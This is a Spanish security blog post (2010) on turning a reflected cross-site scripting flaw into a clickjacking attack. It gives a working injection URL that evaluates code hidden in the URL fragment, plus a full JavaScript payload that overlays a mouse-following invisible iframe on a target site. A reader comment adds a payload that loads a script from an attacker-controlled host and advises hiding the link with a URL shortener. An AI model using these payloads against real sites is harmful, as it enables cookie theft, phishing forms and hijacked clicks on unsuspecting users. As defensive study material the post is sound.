17 jun 2010

Utilizando Cross-site Scripting para ataques de Clickjacking

Existen una gran cantidad de aplicaciones vulnerables a Cross-Site Scripting.

Esta vulnerabilidad casi siempre se ha asociado a la posibilidad de modificar la apariencia de la aplicación y a poco más. Así pues, hoy vamos a ver como utilizar está técnica para realizar un ataque algo más complejo. El objetivo es realizar un ataque de Clickjacking, ya que hasta ahora debíamos crear una página en un dominio de nuestro poder para poder explotar este tipo de vulnerabilidad... pero ya que mediante un XSS podemos inyectar código HTML y JavaScript en otra aplicación, ¿por que no inyectarle el código necesario para realizar un ClickJacking?

El ejemplo a utilizar, es el de un XSS reflejado mediante un parámetro de búsqueda (suele ser el más común):

.
Para empezar, vamos a ver una forma, de hacer que el servidor en el que se va a ejecutar el XSS no reciba las acciones que queremos realizar:
.
hxxp://www.sitio.com/search.php?text=algo"/><script>eval(location.hash.slice(1));</script>#alert(document.cookie)

Así pues, estamos haciendo que mediante "eval(location.hash.slice(1))" evalue y ejecute el código que se encuentra en el anchor (#), de esta manera, como al realizar la petición todo lo que queda a la derecha de # en la url, el navegador no lo envía al servidor.

El siguiente paso, es insertar en el # código referente a como realizar el clickjacking, a continuación se muestra una posible solución (válida tan solo para mozilla firefox):
#a=document.body.appendChild(document.createElement("iframe"));a.d=a.contentDocument;a.d.open().close();i=a.d.createElement("iframe");a.style.width=90;a.style.height=90;a.style.border=i.style.border=0;a.style.position=i.style.position="absolute";a.style.overflow=i.style.overflow="hidden";a.style.opacity=.7;i.style.width=100;i.style.height=100;i.style.left=-10;i.style.top=-10;i.src="hxxp://www.sitio.com/";a.d.body.appendChild(i);function followmouse(e){xcoord=ycoord=40;xcoord+=e.pageX-50;ycoord+=e.pageY-50;a.style.left=xcoord;a.style.top=ycoord;}document.onmousemove=followmouse;
De esta manera se inserta un iframe que va siguiendo al mouse, de forma que cuando se haga un click con él se estará realizando sobre la aplicación insertada en el iframe.

A continuación, se puede observar un video de como se realizan los tres tipos de Cross-site, acabando con el que se convierte en clickjacking hacia Facebook:

http://www.screentoaster.com/watch/stV0xUR0VLQl9ZSVVeW1lc/xss2cj

Referencias:

http://ha.ckers.org/blog/20100614/turning-xss-into-clickjacking/
http://blog.s21sec.com/2009/02/clickjacking-exposed.html
Autor: Abel Gómez - Dpto. Auditoria S21SEC
Fuente: Blog S21sec

Suscríbete a nuestro Boletín

1 comentario:

  1. lo más comodo para este tipo de cosas es insertar un .js completo en la página mediante

    hxxp://www.sitio.com/search.php?text=algo"/>< script src=http://sitiomalicioso/script.js>

    y en dicho script escribir todo el código necesario para modificar la página victima como se desee.

    el inconveniente es que necesitamos un servidor donde alojar el script.js pero hay cientos de servidores gratuitos e incluso después podemos acortar la url con tinyurl o similar.

    Como comentaba en mi blog, el XSS pese a lo que mucha gente piensa el peligroso, no es que sea gravisimo pero si se pueden llegar a hacer verdaderas perrerias, bien modificando la pagina victima a modo de broma o modificando la pagina para que muestre un formulario de registro que controlamos desde nuestro .js o como aqui se comenta, hacer un clickjacking

    Y lo mejor del XSS es que la URL que ve el usuario "victima" es la del dominio real por lo que es dificil que sospeche (si no mira bien la url completa)

    ResponderBorrar

Gracias por dejar un comentario en Segu-Info.

Gracias por comentar!